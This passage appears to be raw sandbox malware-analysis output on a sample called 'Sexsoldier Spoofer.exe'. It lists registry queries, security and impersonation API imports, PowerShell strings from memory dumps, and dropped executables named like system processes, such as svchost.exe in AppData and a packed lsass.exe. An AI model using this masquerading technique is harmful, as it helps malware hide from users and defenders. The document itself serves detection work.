command-line string for the current process" [Source: MicrosoftEdgeUpdateOnDemand.exe]64:T4b1,Found registry query API: "RegOpenKeyExW" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegQueryValueExW" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegOpenKeyExA" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegQueryValueExA" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegQueryInfoKeyW" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegEnumValueW" in file "Sexsoldier Spoofer.exe" Found registry query API: "SHQueryValueExW" in file "Sexsoldier Spoofer.exe" Found registry query API: "RegGetValueW" in file "Sexsoldier Spoofer.exe" Found registry query API: "olSet\Control\MiniNT. Assuming the host is NOT WinPE. RegOpenKeyExW err" in "00000000-00001176.00000000.139164.7DA40000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp"65:T8ee,"SexsoldierSpoofer.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Sexsoldier Spoofer\* (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004648) "conhost.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004224) "conhost.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00004224) "conhost.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004224) "conhost.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00004224)66:T5f9,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")67:T8a5,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "Sexsoldier Spoofer.exe") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; File: "Sexsoldier Spoofer.exe") Found reference to API "K32EnumProcessModules" (Indicator: "EnumProcessModules"; File: "Sexsoldier Spoofer.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "Sexsoldier Spoofer.exe") Found reference to API "K32EnumProcesses" (Indicator: "EnumProcesses"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "Sexsoldier Spoofer.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "Sexsoldier Spoofer.exe") Found reference to API "Thread32First" (Indicator: "Thread32First"; File: "Sexsoldier Spoofer.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp")68:Tcaa,Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Invoke-Item" (Indicator: "Invoke-Item"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-PSSnapIn" (Indicator: "Get-PSSnapIn"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")69:T42a,Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00002136.00000001.137903.07800000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002136.00000001.137903.07800000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00002136.00000001.137903.07800000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002136.00000001.137903.08FF0000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002136.00000001.137903.08FF0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002136.00000001.137903.091A0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002136.00000001.137903.091A0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002136.00000001.137903.091B0000.00000004.mdmp")6a:Tb79,Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "Sexsoldier Spoofer.exe") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorOwner" (Indicator: "GetSecurityDescriptorOwner"; File: "Sexsoldier Spoofer.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorLength" (Indicator: "GetSecurityDescriptorLength"; File: "Sexsoldier Spoofer.exe") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; File: "Sexsoldier Spoofer.exe") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; File: "Sexsoldier Spoofer.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "Sexsoldier Spoofer.exe") Found reference to API "MakeSelfRelativeSD" (Indicator: "MakeSelfRelativeSD"; File: "Sexsoldier Spoofer.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; File: "Sexsoldier Spoofer.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetSecurityDescriptorGroup" (Indicator: "GetSecurityDescriptorGroup"; File: "Sexsoldier Spoofer.exe") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; File: "Sexsoldier Spoofer.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "Sexsoldier Spoofer.exe") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "Sexsoldier Spoofer.exe") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "Sexsoldier Spoofer.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "Sexsoldier Spoofer.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "Sexsoldier Spoofer.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "Sexsoldier Spoofer.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "Sexsoldier Spoofer.exe")6b:T1f90,Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorLength" which can "return the length in bytes of a structurally valid security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "MakeSelfRelativeSD" which can "create a security descriptor in self-relative format by using a security descriptor in absolute format as a template" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorLength" which can "return the length in bytes of a structurally valid security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "MakeSelfRelativeSD" which can "create a security descriptor in self-relative format by using a security descriptor in absolute format as a template" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: MicrosoftEdgeUpdateCore.exe]6c:Taa4,"SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAMDATA\MICROSOFT\WINDOWS\WER\TEMP\59EEF78126D8\CONHOST.EXE"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAMDATA\MICROSOFT\WINDOWS\WER\TEMP\59EEF78126D8\RPZ-HWID.EXE"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAMDATA\MICROSOFT\WINDOWS\WER\TEMP\59EEF78126D8\SVCHOST.EXE"; Value: "") "conhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\SANDBOXFILTER"; Key: "SUPPORTEDFEATURES"; Value: "") "conhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "conhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "conhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "conhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\SYSTEMDATA\SVCHOST.EXE"; Value: "") "RPZ-HWID.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\WINDOWS NT\ONENOTEM.EXE"; Value: ""), "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: ""), "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: ""), "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "")6d:T58f,Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")6e:T402,"SexsoldierSpoofer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "ONENOTEM.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "MicrosoftEdgeWebview2Setup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "MicrosoftEdgeUpdate.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")6f:T4e4,"POST /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Content-Length: 485 Content-Type: application/reports+json Origin: https://img-s-msn-com.akamaized.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9" with payload::==> "[{"age":43018,"body":{"elapsed_time":101,"method":"GET","phase":"application","protocol":"h2","referrer":"https://ntp.msn.com/","sampling_fraction":0.001,"server_ip":"23.215.15.144","status_code":200,"type":"ok"},"type":"network-error","url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1QeKud.img?w=16&h=16&q=100&m=6&f=png&u=t","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0"}]" HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Wed 23 Sep 2026 18:32:02 GMT Connection: keep-alive PMUSER_FORMAT_QS: X-CDN-TraceId: 0.31b13717.1790188321.1333ab49 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET OPTIONS POST Access-Control-Allow-Origin: * with no response body70:T6008,"lsass.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Windows Multimedia Platform\lsass.exe]- [targetUID: 00000000-00004952] "msedgeupdate.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll]- [targetUID: 00000000-00005096] "svchost.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%APPDATA%\SystemData\svchost.exe]- [targetUID: 00000000-00004648] "svchost.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\svchost.exe]- [targetUID: 00000000-00004648] "MicrosoftEdgeWebview2Setup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\MicrosoftEdgeWebview2Setup.exe]- [targetUID: 00000000-00007060] "psuser_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_64.dll]- [targetUID: 00000000-00007060] "psmachine_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_64.dll]- 